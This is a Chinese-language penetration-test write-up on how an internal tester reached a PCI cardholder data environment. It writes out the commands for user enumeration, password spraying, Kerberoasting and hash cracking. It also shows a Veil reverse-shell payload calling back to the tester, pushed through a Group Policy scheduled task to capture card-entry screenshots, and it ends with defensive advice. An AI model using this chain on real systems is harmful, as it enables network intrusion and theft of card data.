本文将为读者详细介绍攻击者是如何绕过防火墙,获取持卡人数据环境(或当前的叫法:CDE)的访问权限,进而提取信用卡数据的。
简介
在存储、传输或处理信用卡数据的时候,必须要确保信用卡数据在网络中的安全性。根据PCI数据安全标准(PCI-DSS),持卡人数据可以通过内部网络发送,但是,如果您实现了网络分段的话,那么就容易处理多了,因为这意味着您不必让公司的整个网络都符合PCI的安全规定。通常的做法是,通过防火墙划出一个单独的网段,专门用来处理持卡人数据。
上面简要介绍了典型PCI设置的基础知识,下面,我们开始介绍真正有趣的东西。
像往常一样,这里已经修改了细节信息以保护客户的机密数据。该公司拥有一个非常庞大的网络,所有网络都在标准的10.0.0.0/8网段内。持卡人数据位于单独的192.168.0.0/16网段内,以便与公司其他部门的网络隔离开来。这个CDE环境中,呼叫中心工作人员接收电话订单,然后将支付信息输入到外部运行的Web应用程序中。
这是一次内部渗透测试,因此,我们从10.0.0.0/8网段上连接到公司的内部办公网络。我们从本地网络对CDE进行ping扫描和端口扫描,未得到任何有用的信息:
ping扫描与运行ping命令基本差不多,但nmap可以一次运行扫描整个地址范围。第二个命令输出中的“hosts up”与我们给nmap使用了-Pn参数有关,该参数的含义是不要先ping,因此,nmap会将该网段内的所有主机状态报告为“up”,即使有些主机的状态并非如此(这是nmap的一个怪癖)。
因此,除非存在防火墙规则绕过漏洞,或者可以猜到防火墙的弱密码,否则直接访问目标网络是不太可能的。因此,入侵的第一步就是通过获得域管理员权限,然后再设法控制活动目录。
成为域管理员
实际上,我们可以借助很多方法实现这个目标,比如我之前发表的这篇文章中提到的方法。
本例中,我们可以利用kerberoast来控制域。然后,从域中无需身份认证的位置开始,逐步发动攻击。
入侵活动目录过程中,通常先要设法获得一个用户帐户的访问权限,这里对该账户的身份和权限不做任何要求。只要它能以某种方式对域控制器进行身份验证,对于这里来说就足够了。在Windows世界中,所有帐户都能够使用域控制器进行身份验证,即使他们没有权限对其执行任何操作,因为即使具有最低权限帐户在登录时也需要验证密码是否正确。
在该客户的站点上,域控制器启用了空会话。在本例中,我们的域控制器是10.0.12.100,“PETER”。因此,我们可以使用enum4linux等工具枚举用户列表,显示域中每个用户的用户名:
$ enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt
现在,我们获得了一个用户列表,接下来,我们将它解析成种可用的格式:
$ cat enum4linux.txt | grep '(Local User)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed 's/MACFARLANE\\//g'
您可能已经注意到我在简洁性方面并不太在意。是的,您可以用awk、grep、sed和/或Perl以更少字符的来完成这个任务,但是,别忘了我们正在进行渗透测试,我更倾向于使用任何有效的方法,这样能够节省我的脑力,从而把主要精力用到实现主要目标上面去。如果我要编写一个长期使用的脚本,我可能会对它进行一些优化,但是对于渗透测试任务来说,我倾向于尝试各种命令,直到我得到我需要的东西为止。
下面进行实际测试。客户的网络非常庞大,有25,000个活跃用户。然而,在我的实验室网络中,用户要少的多,这有助于演示渗透测试过程。
现在我们将用户列表解析成一个文本文件,然后,就可以使用CrackMapExec这样的工具来猜测密码了。在这里,我们将测试是否有用户把“Password1”用作密码。令人惊讶的是,这完全符合活动目录的默认复杂性规则,因为该密码中含有四种字符类型中的三种(大写字母、小写字母和数字)。
$ cme smb 10.0.12.100 -u users.txt -p Password1
天呢,竟然命中了一个用户:
请注意,如果我们想继续猜下去,直到找到所有帐户的密码的话,可以指定-continue-on-success标志:
因此,我们可以控制一个账户了。所以,我们可以查询活动目录,从而获得服务帐户列表。服务帐户,顾名思义,就是为各种服务设立的用户帐户。至于服务吗,可以简单的把它们看成是类似Microsoft SQL Server这样的东西。它们运行时,需要在用户帐户的上下文中运行。活动目录的Kerberos身份验证系统可用于提供访问权限,因此,活动目录提供了“服务票据”,以允许用户对其进行身份验证。Kerberos身份验证不在本文的讨论范围之内,但是,如果您想了解更多信息,可以访问这里的参考资料。
通过向域控制器请求Kerberos服务帐户列表,我们也可以为每个帐户获得一张“服务票据”。虽然该服务票据使用服务帐户的密码进行了加密处理,但是,如果我们能够破解它,就能够使用该帐户,而这些账户通常具有很高的权限。为此,我们可以借助于Impacket工具集:
$ GetUserSPNs.py -outputfile SPNs.txt -request 'MACFARLANE.EXAMPLE.COM/chuck:Password1' -dc-ip 10.0.12.100
我们可以看到,其中一个帐户具有域管理员身份,因此,我们可以设法破解其密码。
$ hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule
借助hashcat,我们破解出了明文密码:
为了确认这是一个实际的活动帐户,我们可以再次使用CrackMapExec。
$ cme smb 10.0.12.100 -u redrum -p 'murder1!'
结果表明,我们已经获得了域控制器的管理员权限。
OK,接下来如何使用它来获取信用卡数据呢?
对于这家公司来说,不幸的是呼叫中心代理在CDE内用于接收电话订单的机器也位于这个活动目录域上。虽然我们无法直接连接这些机器,但可以通过域控制器让它们与我们通信。为此,我们需要深入了解组策略对象(GPO)。GPO允许将全局或部门设置同时应用于用户和计算机。嗯,实际上不止这些,但是,对于这篇文章来说,你只需要知道它允许在全局或更细粒度级别上控制域中的计算机就行了。
GPO的许多功能都是用于管理公司IT的设置的。例如,设置密码策略甚至设置为用户显示哪些桌面图标(例如,打开公司网站的快捷方式)。而有的GPO则允许运行“即时计划任务”。我们要做的事情,就是创建一个在呼叫中心运行的脚本,并回连我们的机器,为我们提供控制权。以下是完成该任务的具体步骤:
- 在这里,我们使用Veil Evasion来生成一个payload。其中,我们的IP地址是10.0.12.1,因此,我们让生成的payload回连这个地址。
$ veil -t EVASION -p 22 --ip 10.0.12.1 --port 8755 -o pci_shell veil
- 利用通过kerberoasting技术获得的凭证,通过远程桌面协议(RDP)登录到域控制器。
- 在活动目录中找到CDE。根据我们对该公司的了解,呼叫中心代理位于2楼。我们注意到Active Directory Users and Computers (ADUC)窗口中有一个名称与此相呼应:
- 将利用Veil制作的脚本放入该文件夹,并在域控制器上共享。为该共享和目录设置允许所有域用户进行读取的权限。
- 在GPO中,我们在该级别上创建一个策略:
- 在编辑这个新GPO时,找到“Scheduled Tasks”选项,并新建一个“Immediate Scheduled Task”:
- 创建任务,使其指向共享中保存的版本。同时在“common”下设置“Run in logged-on user's security context”。
搞定了!
我等了15分钟,什么也没发生。我知道更新组策略可能需要90分钟,上下有30分钟的浮动,但我估计至少有一台计算机现在已经获得了新策略(注意,如果在实验室中测试,可以使用gpupdate /force命令)。之后,我又等了一段时间。我正要放弃时,转机出现了:
执行截图命令后,返回的图像表明呼叫中心座席当时输入的内容为……信用卡数据:
信用卡数据被泄露了,也就是说,这次渗透测试的目标顺利达成了。
如果查看会话列表,可以看到源IP来自192.168.0.0/16网段,即CDE网段:
在实际测试中,shell不断被返回,准确说,整个二楼上的每台机器都返回了shell。算下来,这个网段中,大概有60-100个Meterpreter shell被打开了。
请注意,虽然屏幕截图中显示了亚马逊,但是它与本文涉及的公司无关。在实际测试中,可以设置一个脚本在连接shell时捕获屏幕截图(通过autorunscript),这样,我们就可以专注于那些更让人着迷的会话上面,例如那些已经完成了某些步骤,即将进入数据录入阶段的会话上面。
此外,也可以使用其他方法来获取截图,例如在Meterpreter中使用espia,以及使用Metasploit的post/windows/gather/screen_spy工具等。
同时,我们也可以通过编程方式来执行GPO,例如使用PowerView中的New-GPOImmediateTask等,不过,我还没有进行尝试。
防御措施
对此攻击的防御措施是,始终让CDE使用一个单独的活动目录域。请注意,即使是森林也没关系。当然,深度防御措施是关闭空会话,鼓励用户使用强密码,并确保任何服务帐户都使用足够长的密码(最少20个字符以上,并且完全随机选取)。此外,还可以检测是否有用户一次请求所有服务票据,或者或者创建一个蜜罐服务帐户,如果有人以这种方式申请服务票据,就将其标记出来,这些措施也很有帮助。如果黑客能够访问公司的其他部门,那么就很难找到有效的方法来保护信用卡数据。